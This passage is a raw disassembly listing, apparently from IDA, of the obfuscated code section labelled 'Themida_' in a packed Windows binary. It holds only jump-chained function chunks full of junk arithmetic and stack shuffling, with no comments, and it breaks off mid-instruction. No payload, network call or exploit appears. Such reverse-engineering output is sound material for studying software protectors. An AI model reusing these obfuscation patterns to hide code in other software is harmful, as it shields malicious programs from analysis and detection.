jmp loc_56B3CA ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56422D: ; CODE XREF: Themida_:0056C521j mov [esp], ebx mov bl, 8Fh shr bl, 4 shr bl, 5 xor bl, 5 jmp loc_561960 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564240: ; CODE XREF: sub_56755A+8921j mov ebp, eax push [esp+12h+var_14+2] pop eax push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55D4E1 ; --------------------------------------------------------------------------- loc_564257: ; CODE XREF: sub_56755A-8728j shl [esp+1Ch+var_1C], cl pushf jmp loc_56EF12 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56572D loc_564260: ; CODE XREF: sub_56572D+17j sub ebp, 0FB4BAE42h sub eax, ebp pop ebp xor ebp, eax pop eax or ebp, 0B383319h push ebx mov ebx, 380A0209h xor ebx, 1974D485h sub ebp, ebx mov ebx, [esp-4+arg_0] add esp, 4 jmp loc_56DA40 ; END OF FUNCTION CHUNK FOR sub_56572D ; --------------------------------------------------------------------------- loc_56428E: ; CODE XREF: Themida_:0055C402j sub ecx, edx jmp loc_56B1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_564295: ; CODE XREF: sub_56971C-BBj push [esp+0Ch+var_C] jmp loc_56C072 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_56429D: ; CODE XREF: Themida_:0056FF90j xchg esi, [esp] jmp loc_55CC22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5642A5: ; CODE XREF: sub_56755A+8F83j push [esp+20h+var_20] pop edx push esi jmp loc_56FAE8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5642AF: ; CODE XREF: Themida_:0056B573j push dword ptr [esp] pop edx add esp, 4 push 7E54h mov [esp], ebx push esp jmp loc_55C045 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5642C7: ; CODE XREF: sub_56755A-7370j add esp, 4 jmp loc_562DAB ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5642D2: ; CODE XREF: sub_56F7FC-6639j pop ecx jmp loc_56E408 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_5642D8: ; CODE XREF: Themida_:00561BB9j push edx push 670Ch mov [esp], ebx mov bl, 0E6h mov dh, 70h xor dh, bl pop ebx push ecx mov ch, 46h shl ch, 5 add ch, 57h push ebx mov bh, ch not bh mov ch, bh pop ebx sub ch, 0DBh push edx mov dh, 6Dh jmp loc_562D22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564304: ; CODE XREF: sub_56755A-1D55j push eax mov eax, esp jmp loc_568EE0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push ebx mov ebx, 2030E5Ah jmp loc_55D787 ; --------------------------------------------------------------------------- loc_564317: ; CODE XREF: Themida_:00569226j push edi push esi mov esi, 0DFA696Dh xor esi, 21913967h mov edi, esi pop esi jmp loc_56306F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_56432C: ; CODE XREF: sub_55DA88+9j mov ebx, 211022B8h shl ebx, 1 shr ebx, 7 dec ebx jmp loc_563CCD ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561D98 loc_56433C: ; CODE XREF: sub_561D98+Cj add eax, 16E30860h push eax pop ecx pop eax mov ebx, 0ABE0CE8Bh add ebx, ecx pop ecx sub ebp, ebx push [esp-4+arg_0] jmp loc_56C78B ; END OF FUNCTION CHUNK FOR sub_561D98 ; =============== S U B R O U T I N E ======================================= sub_564356 proc near ; CODE XREF: sub_5702DD-6E2Dj ; FUNCTION CHUNK AT 0055E614 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00560806 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564A54 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00568575 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005692F2 SIZE 00000007 BYTES push ebp jmp loc_55E614 sub_564356 endp ; --------------------------------------------------------------------------- loc_56435C: ; CODE XREF: Themida_:0056C01Fj sub eax, 0D3D09B0h sub eax, 13543ACDh add eax, 0C0480D11h jmp loc_55C322 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_564370: ; CODE XREF: sub_565269-3E93j mov ecx, [esp+10h+var_10] add esp, 4 add ecx, 4 jmp loc_55E758 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- loc_564384: ; CODE XREF: Themida_:0055EDAEj add al, dl pop edx push 3A29h mov [esp], ebx mov bl, 5 shl bl, 7 jmp loc_568C18 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55E7F9 ; --------------------------------------------------------------------------- loc_5643A2: ; CODE XREF: Themida_:00561039j mov ecx, [esp] jmp loc_56EA67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5643AA: ; CODE XREF: sub_56755A-7AE6j xor edi, edx jmp loc_560C45 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5643B1 proc near ; CODE XREF: sub_56E1F0+241Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E4EF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00560E46 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056154C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005673C0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056B458 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056D926 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056DE92 SIZE 0000000B BYTES sub esp, 4 jmp loc_56154C sub_5643B1 endp ; =============== S U B R O U T I N E ======================================= sub_5643BC proc near ; CODE XREF: sub_565B25-45FCj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00568D99 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569C24 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A3C9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C117 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DAF9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EEB1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056F37F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005707B4 SIZE 00000017 BYTES push ebp jmp loc_5707B4 sub_5643BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5643C2: ; CODE XREF: Themida_:0055FC72j pop esp jmp loc_564F40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5643C8: ; CODE XREF: sub_56755A+82Bj add edx, 53A92B14h pop edi add edx, esi jmp loc_56088D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5643D6: ; CODE XREF: Themida_:00560617j mov esi, 3186B62h add esi, 0FFFFFFFFh jmp loc_567BFC ; --------------------------------------------------------------------------- loc_5643E6: ; CODE XREF: Themida_:0055D014j sub ch, dl pop edx sub al, 5Ah add al, ch jmp loc_55D1C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5643F2: ; CODE XREF: sub_56755A+B1Dj mov ebp, edi mov edi, [esp-14h+arg_10] push edi mov edi, esp jmp loc_561137 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56542E loc_5643FF: ; CODE XREF: sub_56542E+3E34j xor [esp+4+var_4], ebp jmp loc_56419F ; END OF FUNCTION CHUNK FOR sub_56542E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564407: ; CODE XREF: sub_56755A-64A8j mov eax, 2242112h mov esi, eax pop eax sub eax, esi pop esi add ebp, 46926456h add ebp, eax push ecx jmp loc_56D1F0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564420: ; CODE XREF: Themida_:0055CE72j and eax, 79841566h jmp loc_561638 ; --------------------------------------------------------------------------- loc_56442A: ; CODE XREF: Themida_:0056575Ej push dword ptr [esp] pop edx add esp, 4 xor esi, [esp] xor [esp], esi jmp loc_55BF70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56443C: ; CODE XREF: sub_56755A+278Aj neg ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+16h+var_18+2] jmp loc_56ABDE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564452: ; CODE XREF: Themida_:0055E0D6j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_564457: ; CODE XREF: sub_56F653-D8D7j mov edx, [esp+0] add esp, 4 inc bh add bh, 8 jmp loc_55DDD3 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CEF loc_564467: ; CODE XREF: sub_565CEF+9710j mov esi, 4 push edx mov edx, 17197566h sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 0AC6114Dh add ecx, 0F539EEB2h jmp loc_56E83D ; END OF FUNCTION CHUNK FOR sub_565CEF ; --------------------------------------------------------------------------- loc_564488: ; CODE XREF: Themida_:0056B657j push 6282h mov [esp], ebp jmp loc_56AD53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564495: ; CODE XREF: sub_56755A+B4Ej add ebp, 0F976EEBBh jmp loc_562993 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5644A0 proc near ; CODE XREF: sub_56755A-12C5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055D59A SIZE 0000001B BYTES sub esp, 4 jmp loc_55D59A sub_5644A0 endp ; --------------------------------------------------------------------------- loc_5644A8: ; CODE XREF: Themida_:0056E062j add esp, 4 push 6A96h mov [esp], ecx push 486B7296h pop ecx sub esp, 4 jmp loc_56B528 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5644C1: ; CODE XREF: sub_56755A-5E7j or ecx, 2745540Ch add ecx, 3B273804h add ecx, 0E6DDFB3Ch sub esi, ecx mov ecx, [esp+16h+var_18+2] jmp loc_56DE20 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562FB2 loc_5644DD: ; CODE XREF: sub_562FB2-2661j push esi jmp loc_56F257 ; END OF FUNCTION CHUNK FOR sub_562FB2 ; --------------------------------------------------------------------------- loc_5644E3: ; CODE XREF: Themida_:0055C040j push esp pop dword ptr [esp] push 430Ah mov [esp], edi mov edi, 4 add [esp+4], edi jmp loc_56039D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_5644FD: ; CODE XREF: sub_566504-31CFj add ecx, 4 sub ecx, 4 jmp loc_55DCA5 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_56450E: ; CODE XREF: sub_55FE13+2B71j sub al, 65h mov dl, al mov eax, [esp+4+var_6+2] add esp, 4 mov bh, dl mov edx, [esp+0] add esp, 4 sub dl, bh pop bx jmp loc_56A2A5 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- loc_56452C: ; CODE XREF: Themida_:0055FD00j push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 56272EE7h sub ebx, 0FFFFFFFFh or ebx, 5B411AB1h or ebx, 6DA56244h jmp loc_5628F2 ; --------------------------------------------------------------------------- loc_56455B: ; CODE XREF: Themida_:00569C15j and edi, 4A473FFCh add edi, 7DAE4079h xor edx, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56A9AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564584: ; CODE XREF: sub_56755A+3EAEj mov edx, [esp+16h+var_18+2] add esp, 4 pop eax jmp loc_562609 ; --------------------------------------------------------------------------- loc_564590: ; CODE XREF: sub_56755A-667j mov [esp+0Eh+var_10+2], esi sub esp, 4 mov [esp+12h+var_14+2], ebx mov ebx, 690156C8h not ebx shl ebx, 7 xor ebx, 568A3071h jmp loc_5636CA ; --------------------------------------------------------------------------- loc_5645AE: ; CODE XREF: sub_56755A+3A91j xor ebp, 0EFE77ECAh mov ecx, ebp jmp loc_56835E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5645BB: ; CODE XREF: Themida_:0056B8E7j add bh, 32h shl bh, 1 or bh, 9 sub bh, 3Fh push ecx jmp loc_567355 ; --------------------------------------------------------------------------- loc_5645CC: ; CODE XREF: Themida_:0056307Fj mov ah, ch pop ecx add ch, ah pop ax jmp loc_570086 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebp jmp loc_561DA9 ; --------------------------------------------------------------------------- loc_5645E1: ; CODE XREF: Themida_:0056CD0Ej mov [esp], ebp push 31B869ACh jmp loc_569C8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5645EE: ; CODE XREF: sub_56755A-19F5j push 77EDh mov [esp+16h+var_18+2], ecx push edx mov ecx, [esp+1Ah+var_1C+2] add esp, 4 push ecx jmp loc_56B308 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_564603 proc near ; CODE XREF: sub_5643BC+7D61j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055FC3C SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp sub esp, 4 mov [esp+8+var_8], esi mov esi, 4600761Bh jmp loc_55FC3C sub_564603 endp ; --------------------------------------------------------------------------- loc_564621: ; CODE XREF: Themida_:0055D519j xchg edx, [esp] pop esp mov [esp], ecx push 5097h jmp loc_56E2F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564632: ; CODE XREF: sub_56755A+BF6j pop ebx pop ecx add eax, ebp push 1AFCh mov [esp+16h+var_18+2], ebx mov ebx, 494B41F7h jmp loc_565439 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564648: ; CODE XREF: Themida_:0056D4C0j push 25268AE9h mov edi, [esp] add esp, 4 push ebp mov ebp, 5D9E1604h push ecx mov ecx, 78BC42CEh jmp loc_56E11F ; --------------------------------------------------------------------------- loc_564667: ; CODE XREF: Themida_:0055F778j push esp pop ebx push eax push esi mov esi, 46D90E22h push eax mov eax, 21F50D71h sub esi, eax pop eax xor esi, 1B97D8Bh sub esi, 255D7D36h mov eax, esi pop esi sub ebx, 168E6053h jmp loc_56EB42 ; --------------------------------------------------------------------------- loc_564693: ; CODE XREF: Themida_:0055F855j push edi mov edi, esp add edi, 4 jmp loc_56B33F ; --------------------------------------------------------------------------- loc_5646A1: ; CODE XREF: Themida_:0055C5E8j mov cx, [esp] push ebx mov ebx, esp push eax push edx push ebx mov ebx, 6B7173BBh mov edx, ebx pop ebx mov eax, 0BD92D8D5h sub eax, edx mov edx, [esp] add esp, 4 jmp loc_56ED7A ; --------------------------------------------------------------------------- loc_5646C8: ; CODE XREF: Themida_:0056DD30j mov ecx, ebp pop ebp jmp loc_56EFF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_5646D0: ; CODE XREF: sub_55DA88+EAABj mov ebx, [esp+0] jmp loc_5656D1 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- loc_5646D8: ; CODE XREF: Themida_:0056EA62j xor ebx, [esp] mov esp, [esp] jmp loc_55ECDF ; =============== S U B R O U T I N E ======================================= sub_5646E3 proc near ; CODE XREF: sub_5608D9+9j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055D438 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055D4A2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0055E89B SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005609AD SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563F93 SIZE 00000009 BYTES push ebx jmp loc_55E89B sub_5646E3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5646E9: ; CODE XREF: Themida_:005699FDj mov edx, 4 add edi, edx pop edx sub esp, 4 jmp loc_56A8B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5646F9: ; CODE XREF: sub_56755A-43B4j add esp, 2 jmp loc_564B59 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564704: ; CODE XREF: Themida_:0056E049j xor edi, 6A0A3511h mov ecx, edi pop edi mov edx, ecx pop ecx push ebp jmp loc_56D00D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EC76 loc_564716: ; CODE XREF: sub_55EC76+393Aj mov edi, 242A02EBh jmp loc_56D707 ; END OF FUNCTION CHUNK FOR sub_55EC76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_564720: ; CODE XREF: sub_5615A9+BEDDj mov ch, 7Ch jmp loc_55C7C8 ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_564727: ; CODE XREF: Themida_:0055F592j xor eax, 3A533DDEh jmp loc_55FB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564731: ; CODE XREF: sub_56755A-6968j pop ecx jmp loc_55C187 ; --------------------------------------------------------------------------- loc_564737: ; CODE XREF: sub_56755A-441Ej sub esi, edi push ebp jmp loc_566A3E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56473F: ; CODE XREF: Themida_:0056632Dj push 5DF83F84h pop edi shr edi, 7 sub edi, 0BBF07Bh mov edx, edi jmp loc_55CC0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_564755: ; CODE XREF: sub_566C65+90B9j mov edi, 30B80F42h sub edi, 61344E39h xor edi, 0CF83C10Dh mov ebp, edi pop edi sub edx, ebp mov ebp, [esp+4+var_4] add esp, 4 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] mov [esp+0], eax jmp loc_56AEA6 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- loc_564788: ; CODE XREF: Themida_:0056D084j dec edi sub edi, 77B31741h mov eax, edi pop edi jmp loc_569B6D ; --------------------------------------------------------------------------- loc_564797: ; CODE XREF: Themida_:00562B24j pop esp mov [esp], edi push ecx mov ecx, 476B0B49h jmp loc_567DB2 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_561295 ; --------------------------------------------------------------------------- loc_5647B8: ; CODE XREF: Themida_:005609DFj jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD48 loc_5647BD: ; CODE XREF: sub_56CD48-BB60j pop esi add esp, 4 loc_5647C1: ; CODE XREF: sub_55BA18+Cj push 344Eh jmp loc_566A1A ; END OF FUNCTION CHUNK FOR sub_56CD48 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_5647CB: ; CODE XREF: sub_560CAA+2811j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5647D0: ; CODE XREF: sub_56755A+390Dj add al, cl pop cx push edx mov dh, 0D2h sub dh, 45h jmp loc_568DC6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5647DF: ; CODE XREF: Themida_:0056FBF4j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5647E4: ; CODE XREF: Themida_:0056D01Ej sub ebx, ebp sub ebx, 689E1C51h jmp loc_56CC64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5647F1: ; CODE XREF: sub_56755A-AE46j mov ebx, 609B4C55h push 3AB7h mov [esp+0Ch+var_C], esi mov esi, ebx mov ecx, esi push [esp+0Ch+var_C] mov esi, [esp+10h+var_10] add esp, 4 add esp, 4 jmp loc_56392C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564819: ; CODE XREF: Themida_:0056A34Dj mov [esp], ecx jmp loc_56EFB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564821: ; CODE XREF: sub_56755A-9BEj push edi mov edi, 3ED48BBh not edi sub edi, 0A1F0E626h xor eax, edi pop edi and ecx, eax pop eax push eax mov eax, 28241DC9h jmp loc_56E383 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_564840: ; CODE XREF: sub_56CB1B-8B2Cj sub ebx, 3C09189Eh jmp loc_561FE6 ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- loc_56484B: ; CODE XREF: Themida_:0055B9E8j push ebx mov ebx, 76AA53EFh jmp loc_55EB41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_564856: ; CODE XREF: sub_55E931+Fj push ecx mov ecx, 40ED4E54h push ebx mov ebx, 23AF277Eh inc ebx xor ebx, 262659ACh mov edi, ebx mov ebx, [esp+4+var_4] add esp, 4 xor edi, ecx mov ecx, [esp+0] add esp, 4 push ebx push ebp mov ebp, 36853576h or ebp, 59E35F2Eh add ebp, 49574014h add ebp, 3DEB38A9h jmp loc_56A7F4 ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- loc_56489D: ; CODE XREF: Themida_:00560941j mov dl, 0E6h push ax push ebx push ecx mov cl, 0E9h mov bh, 2Ah xor bh, cl jmp loc_55E3B7 ; --------------------------------------------------------------------------- loc_5648AE: ; CODE XREF: Themida_:00562604j add ebx, 4 sub ebx, 4 jmp loc_5684AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5648BF: ; CODE XREF: sub_56755A-AEB9j pop edi jmp loc_56C3E3 ; --------------------------------------------------------------------------- loc_5648C5: ; CODE XREF: sub_56755A+A15j mov eax, [esp+1Ah+var_1C+2] add esp, 4 add esi, 731D6DC9h jmp loc_563288 ; --------------------------------------------------------------------------- loc_5648D6: ; CODE XREF: sub_56755A-1FE4j xor edi, eax jmp loc_55D5E0 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_5648DD: ; CODE XREF: sub_56971C+6A3Fj mov edi, 754927DFh xor eax, edi jmp loc_562AC6 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_5648E9: ; CODE XREF: Themida_:00564AB4j mov [esp], ecx push 2AC61648h jmp loc_56C736 ; --------------------------------------------------------------------------- loc_5648F6: ; CODE XREF: Themida_:005654E1j mov esi, 93F452Dh jmp loc_5610A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564900: ; CODE XREF: sub_56755A+50C8j sub ebx, ecx pop ecx add ebx, 3F5174EDh push edi push esp pop edi add edi, 4 jmp loc_561B4C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_564917: ; CODE XREF: sub_56E89A-11305j sub ebp, eax pop eax sub esi, ebp push [esp+4+var_4] mov ebp, [esp+8+var_8] add esp, 4 add esp, 4 xor eax, esi jmp loc_55CB01 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_564932: ; CODE XREF: Themida_:005652AEj mov [esp], ebp push ebx mov ebx, 2CE84196h mov ebp, 5286BD4h xor ebp, ebx pop ebx jmp loc_568ED7 ; --------------------------------------------------------------------------- loc_564948: ; CODE XREF: Themida_:0056DA75j push ebx jmp loc_5612A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56494E: ; CODE XREF: sub_56755A+3117j push [esp+16h+var_14+2] pop ecx pop [esp+16h+var_18+2] mov esp, [esp+12h+var_14+2] sub esp, 4 mov [esp+16h+var_18+2], ebp mov ebp, 46557FDFh shr ebp, 5 sub ebp, 786C0FEAh sub ebp, 57307392h sub edx, ebp pop ebp mov ebx, edx mov edx, [esp+12h+var_14+2] push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax jmp loc_561FDF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C92 loc_56498F: ; CODE XREF: sub_565C92-29Fj mov ebp, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] jmp loc_5666F4 ; END OF FUNCTION CHUNK FOR sub_565C92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56499D: ; CODE XREF: sub_56755A+85A3j pop esi sub ebx, 60E56130h jmp loc_562195 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5649A9: ; CODE XREF: Themida_:005628EDj mov edx, [esp] add esp, 4 push 71B3h jmp loc_5669AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_5649BC: ; CODE XREF: sub_56971C-6837j add eax, 65022CB6h pop ebx xor eax, 5452AFFBh sub ebx, eax pop eax push ebx mov ecx, [esp+18h+var_18] add esp, 4 jmp loc_56A919 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_5649D9: ; CODE XREF: Themida_:0056B69Bj push 26EDh mov [esp], edx mov dl, 0Bh push ecx jmp loc_570572 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5649E9: ; CODE XREF: sub_56755A+158j sub dh, cl sub dh, 0D0h mov ecx, [esp+12h+var_14+2] add esp, 4 push eax mov al, 0A9h xor al, 59h jmp loc_55F6C3 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5649FE proc near ; CODE XREF: sub_56755A+763Ej var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebx push edi mov edi, 16FC36A9h jmp sub_5687A9 sub_5649FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564A0F: ; CODE XREF: sub_56755A-51B7j mov [esp-14h+arg_10], ecx jmp loc_56E844 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564A17: ; CODE XREF: Themida_:00569E1Cj mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_56212A ; --------------------------------------------------------------------------- loc_564A28: ; CODE XREF: Themida_:0056A9A6j add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] idiv cx push ebx sub esp, 4 mov [esp], esp push esi jmp loc_563403 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564356 loc_564A54: ; CODE XREF: sub_564356+4228j and ecx, 0FE31840h not ecx push eax mov eax, 39F57803h add ecx, eax jmp loc_560806 ; END OF FUNCTION CHUNK FOR sub_564356 ; --------------------------------------------------------------------------- loc_564A69: ; CODE XREF: Themida_:00564DE1j pop ebx jmp loc_568805 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_569CE9 ; --------------------------------------------------------------------------- loc_564A7D: ; CODE XREF: Themida_:0056B03Aj inc ebx neg ebx not ebx push esi mov esi, 3F9062A2h and ebx, esi pop esi xor ebx, 50D51393h xor ebp, ebx pop ebx sub ecx, ebp pop ebp push ecx pop edx pop ecx push edi mov edi, 3CF85A13h jmp loc_565387 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_564AA5: ; CODE XREF: sub_56755A+2319j push ecx push edx mov edx, 4F977183h jmp loc_55BDC2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_564AB1: ; CODE XREF: Themida_:005706ABj sub esp, 4 jmp loc_5648E9 ; --------------------------------------------------------------------------- loc_564AB9: ; CODE XREF: Themida_:0056FF98j xchg eax, edi jmp loc_56078F ; --------------------------------------------------------------------------- loc_564ABF: ; CODE XREF: Themida_:0056658Bj xor ch, 7Ah jmp loc_565149 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_564AC7: ; CODE XREF: sub_565C4A-8E5Bj push ecx mov ecx, 3F191BBEh sub edi, ecx mov ecx, [esp+4+var_4] add esp, 4 add edi, ecx add edi, 3F191BBEh mov ecx, [esp+0] add esp, 4 xchg edi, [esp-4+arg_0] mov esp, 